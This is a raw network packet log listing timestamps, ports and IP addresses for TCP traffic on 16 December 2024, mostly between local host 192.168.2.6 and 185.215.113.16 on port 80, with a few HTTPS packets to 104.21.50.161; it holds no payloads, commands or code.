Dec 16, 2024 15:02:37.534023046 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.534259081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.534603119 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.534948111 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.535810947 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.535824060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.535836935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.535882950 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.535882950 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.536645889 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.536986113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.537758112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.537769079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.537782907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.537839890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.537839890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.539372921 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.539835930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.540178061 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.540189981 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.540198088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.540294886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.541065931 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.541079044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.541141033 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.541141033 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.542009115 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.542251110 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.543132067 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.543147087 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.543159008 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.543181896 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.544177055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.544231892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.544231892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.544728994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.544904947 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.545295000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.545442104 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.545618057 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.546340942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.546653032 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.547015905 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.547492027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.547568083 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.547996044 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.548502922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.548820019 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.684253931 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.684386969 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.684408903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.684451103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.684637070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.684751987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.684788942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.684834003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.685806990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.685956955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.686100006 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.686181068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.686984062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.687057972 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.687098026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.687166929 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.687911034 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.687957048 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.688074112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.688239098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.688988924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.689090014 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.689100027 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.689126968 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.690045118 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.690090895 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.690099001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.690131903 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.691349030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.691485882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.691493034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.691601038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.692310095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.692364931 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.692398071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.692480087 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.693276882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.693365097 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.693386078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.693562984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.694384098 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.694452047 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.694515944 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.695456028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.695516109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.695614100 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.696620941 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.696702957 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.696902990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.697547913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.697644949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.697685003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.697685003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.698653936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.698748112 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.698756933 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.698817015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.699714899 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.699764967 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.699819088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.699995041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.700788021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.700860977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.701030016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.701087952 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.701847076 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.701934099 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.701941013 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.702147007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.702924967 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.703020096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.703023911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.703247070 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.704014063 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.704061985 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.704098940 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.704144001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.705075979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.705130100 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.705172062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.705380917 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.706193924 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.706264019 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.706454992 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.706542015 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.707366943 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.707462072 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.707484007 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.707526922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.708321095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.708415031 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.708528042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.709404945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.709506989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.709610939 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.710464954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.710555077 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.710580111 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.710743904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.711575985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.711673975 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.711750984 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.711920977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.712575912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.712632895 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.712718010 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.712866068 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.713690996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.713737011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.713781118 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.713948011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.714760065 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.714819908 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.714878082 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.714960098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.715792894 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.715922117 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.715930939 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.715982914 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.716882944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.716929913 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.717029095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.717170954 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.717942953 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.718031883 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.718069077 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.718161106 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.719074011 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.719187021 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.719228983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.719228983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.720127106 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.720190048 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.720206976 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.720262051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.721215010 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.721297979 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.721332073 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.721410990 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.722270012 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.722332001 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.722357988 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.722424984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.723450899 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.723537922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.723543882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.723594904 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.724436998 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.724524021 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.724535942 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.725317001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.725471973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.725539923 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.725599051 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.725665092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.726562023 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.726615906 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.726730108 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.726788044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.727634907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.727755070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.727854013 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.728697062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.728796959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.728828907 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.728935957 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.729801893 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.729871035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.729892015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.730138063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.730909109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.730984926 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.731132030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.731200933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.731937885 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.731997967 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.732007027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.732100964 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.733006954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.733064890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.733088970 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.733247042 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.734077930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.734154940 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.734215975 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.734867096 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.735177994 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.735333920 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.735506058 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.735579967 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.736234903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.736296892 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.736320972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.736356974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.737365961 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.737457037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.737590075 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.738401890 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.738467932 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.738506079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.738636017 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.739531040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.739598989 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.739604950 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.739670038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.740541935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.740617037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.876312971 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.876367092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.876418114 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.876507044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.876720905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.876775980 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.876784086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.876863956 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.877809048 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.877913952 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.877964973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.877964973 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.878974915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.879067898 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.879102945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.879204988 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.879995108 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.880065918 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.880270958 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.881059885 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.881109953 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.881289959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.881333113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.882222891 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.882272005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.882292032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.882415056 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.883327007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.883364916 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.883384943 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.883428097 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.884315968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.884392977 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.884459972 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.884502888 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.885281086 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:37.885382891 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:37.885438919 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.885442019 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:37.885500908 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.885592937 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.886626005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.886640072 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.886729002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.886729002 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.887469053 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.887522936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.887572050 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.887681961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.888566017 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.888612032 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.888659000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.888792992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.889134884 CET	49954	443	192.168.2.6	104.21.50.161
Dec 16, 2024 15:02:37.889153004 CET	443	49954	104.21.50.161	192.168.2.6
Dec 16, 2024 15:02:37.889615059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.889673948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.889786005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.889828920 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.890739918 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.891002893 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.891163111 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.891943932 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.891957045 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.892018080 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.892019033 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.892874002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.892937899 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.892976046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.892976046 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.894068956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.894296885 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.894341946 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.894370079 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.895224094 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.895307064 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.895334005 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.895347118 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.896096945 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.896166086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.896205902 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.896205902 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.897222996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:37.897305965 CET	49938	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:37.897407055 CET	80	49938	185.215.113.16	192.168.2.6
